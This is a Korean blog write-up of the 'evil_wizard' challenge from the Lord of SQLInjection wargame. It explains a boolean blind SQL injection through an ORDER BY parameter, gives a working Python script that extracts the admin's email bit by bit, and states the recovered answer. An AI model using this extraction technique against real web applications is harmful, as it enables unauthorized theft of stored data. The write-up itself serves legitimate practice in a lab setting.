Hacking/WebHacking Wargame Writeup

[WriteUp]/[Lord Of SQLInjection] evil_wizard

Cooku222 2025. 4. 28. 13:04

특징

-> hell_fire문제와 유사

-> 필터링은 union과 time based sql injection에 대한 제한을 둠

[도메인 값]?order=1

- 위 도메인 값을 설정한 후 화면에서 볼 수 있는 정보들

- id column 기준으로 출력 시도 → id=admin, score=50인 계정의 email을 파악하는 문제

- time based sql injection이 막혀있고, 에러를 출력하는 문구도 없다.

⇒ if문을 활용해서 참, 거짓을 구분하는 방법을 활용할 수 있다.

email의 길이가 1보다 큰 경우의 쿼리를 넣어본다.

->조건이 참이기에 첫번째 칼럼인 id를 기준으로 정렬이 되는 모습이 나온다.

-> email의 길이를 100보다 크다를 조건으로 넣어본다.

-> rubiya 아이디가 우선 나온다.

-> 조건이 거짓일때 10번째 컬럼을 기준으로 출력해도 출력이 실행되긴 한다.

=> 따라서, 이 경우 rubiya의 정보를 담은 row가 우선 출력되고, 반대로 참일 경우에는 admin의 정보를 담은 row가 출력된다.

Brute Forcing을 시도하기 위해 php 코드를 비교함

- 조건이 참인 경우

-> </th><tr><td>admin의 php 코드가 생김

- 조건이 거짓인 경우

-> 다른 태그로 admin이 출력된다.

-> Brute Forcing을 통해 email 알아내기 시도

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
headers = {'Cookie':'PHPSESSID=your_session_id'}
URL = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?"
 
 
email_length = 30
bit_length = 16
email = ''
 
print("\n=== Find Admin Email ===\n")
 
for i in range(1, email_length+1):
    bit = ''
    
    for j in range(1, bit_length+1):
        payload = "order=if(id='admin' and substr(lpad(bin(ord(substr(email,{},1))),{},0),{},1)=1,score,2000)".format(i, bit_length, j)
        res = requests.get(url=URL+payload, headers=headers, verify=False)
        
        if '<td>50</td></tr><tr><td>rubiya</td>' in res.text:
            # True -> bit == 1
            bit += '1'
        else:
            # error occured -> bit == 0
            bit += '0'
 
    email += chr(int(bit, 2))
    print("email (count %02d): %s (bit: %s, hex: %s)" % (i, chr(int(bit, 2)), bit, hex(int(bit, 2))))
 
print('\n>>> Final Email: %s' % email)

⇒ admin의 email

aasup3r_secure_email@emai1.com

 

삽입해야 할 도메인 주소

[도메인 값]?email=aasup3r_secure_email@emai1.com